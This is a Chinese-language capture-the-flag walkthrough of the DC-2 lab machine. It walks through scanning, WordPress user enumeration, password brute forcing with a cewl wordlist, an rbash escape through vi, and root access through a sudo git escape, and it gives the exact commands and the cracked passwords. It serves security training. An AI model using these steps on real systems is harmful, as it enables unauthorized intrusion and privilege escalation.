nmap扫描----nikto扫描----wpscan枚举wordpress用户----cewl爬取单词----wpscan爆破wordpress密码----tom用户ssh登录并vi绕过rbash----su切换到jerry----sudo git提权
环境信息:靶机:192.168.101.75
攻击机:192.168.101.34
具体步骤: 1、nmap扫描sudo nmap -sV -sC -p- 192.168.101.75
扫描到80(http)和7744(ssh)
nikto -host http://192.168.101.75
nikto扫描网站发现网站根目录重定向到http://dc-2/,结合nmap扫描结果中写在网页标题中的提示“http-title: Did not follow redirect to http://dc-2/”,先在攻击机hosts文件中增加靶机ip和dc-2的对应关系。
由于攻击机是kali,因此需要修改的是/etc/hosts
sudo vim /etc/hosts
增加高亮的这条,然后保存并退出
然后浏览器访问http://dc-2/,在明晃晃的Flag页面发现明晃晃的Flag1,内容大概是要登录进网站会发现下一个flag,但是通常的密码字典是无效的,需要用cewl生成密码字典
登录网站首先要知道网站有哪些用户,由于靶机网站是wordpress,所以可以用wpscan进行枚举
wpscan --url http://dc-2/ -e
发现三个用户:admin、jerry、tom
把这三个用户名保存在文件user.txt中,一行一个,备用
用cewl爬取网站包含的单词,并保存到文件dc2.txt中
cewl http://dc-2/ -w dc2.txt
然后用wpscan爆破网站用户名密码,用户名字典用上一步中的user.txt,密码字典用dc2.txt
wpscan --url http://dc-2/ -U user.txt -P dc2.txt
得到两个结果
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
浏览器访问http://dc-2/wp-admin/,跳转到登录页面,以用户名jerry,密码adipiscing进行登录
在Pages页面点击Flag2
发现第二个flag,这个flag提示要尝试别的入口点
ssh只有tom能登录成功,jerry无法登录成功
ssh tom@192.168.101.75 -p 7744
密码为步骤4中爆破出的parturient
登录成功后发现,tom是以rbash登录的,很多命令不支持
通过vi绕过rbash:
靶机shell输入vi
然后在vi的界面上输入
:set shell=/bin/bash
:shell
然后按回车,即可绕过rbash,得到bash
但是对于这个靶机来说,还是有很多命令无法执行,这是由于靶机的环境变量$PATH=/home/tom/usr/bin,而该目录下仅有小部分命令
因此,还需要修改$PATH变量值
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
先在可以用cat命令查看flag3.txt了,flag3中提示可以用su命令切换到jerry用户
切换到jerry,输入
su - jerry
然后输入步骤4中wpscan爆破出的jerry的密码adipiscing
/home/jerry下找到flag4.txt
sudo -l
发现jerry可以以root身份执行git命令,该命令可以sudo提权
git | GTFOBins
首先在靶机命令行输入
sudo git -p help config
然后在出现的help界面中输入
!/bin/bash
即可得到root的shell
在/root目录下找到final-flag.txt